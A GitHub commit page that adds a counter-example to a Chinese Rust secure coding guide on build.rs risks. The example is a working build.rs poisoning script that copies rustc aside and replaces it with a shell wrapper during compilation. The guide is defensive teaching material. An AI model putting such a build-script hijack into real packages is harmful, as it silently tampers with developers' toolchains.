Skip to content

Commit cb4656a

Browse files
authored
add code example for P.SEC.01 (#101)
* V 0.3 * V0.3: modify README * update Version to 0.3 * add code example for P.SEC.01
1 parent 6e66e9d commit cb4656a

File tree

1 file changed

+27
-0
lines changed

1 file changed

+27
-0
lines changed

src/safe-guides/coding_practice/security/P.SEC.01.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,3 +16,30 @@
1616
- 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。
1717
- 使用自己的构建工具来替代 `Cargo`,可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ,就选择不支持 `build.rs` ,就是考虑到审查起来太麻烦。
1818

19+
**【反例】**
20+
21+
下面是模拟 `build.rs` 投毒的示例:
22+
23+
```rust
24+
// From: https://github.com/Neutron3529/poisoning-rustc
25+
26+
use std::{io::Write,fs,env,path::Path};
27+
28+
fn main() -> Result<(),Box<dyn std::error::Error>>{
29+
let cargo=env::var("CARGO")?;
30+
let cargo_dir=Path::new(&cargo);
31+
let bin=cargo_dir.parent().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "no!"))?;
32+
let rustc=env::var("RUSTC")?;
33+
let orc="old_".to_string()+&rustc;
34+
let rcloc=bin.join(rustc);
35+
let ocloc=bin.join(orc);
36+
if !ocloc.exists() && rcloc.exists(){
37+
fs::copy(&rcloc,&ocloc)?;// use copy to preserve 'x' permissions.
38+
let mut f=fs::File::create(rcloc)?;
39+
f.write_all(b"#!/bin/sh\necho 'The rustc has been \"poisoned\" by poisoning crate, which suggests that, your computer is not strong enough to defend such attack' > /tmp/rustc_infected\necho \"If you're using Linux, your rustc perhaps works just fine\" >> /tmp/rustc_infected\necho \"but windows users may suffer from executing a linux-only script.\" >> /tmp/rustc_infected\nexec ")?;
40+
f.write_all(ocloc.to_str().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "oh no!"))?.as_bytes())?;
41+
f.write_all(b" $*")?
42+
}
43+
Ok(())
44+
}
45+
```

0 commit comments

Comments
 (0)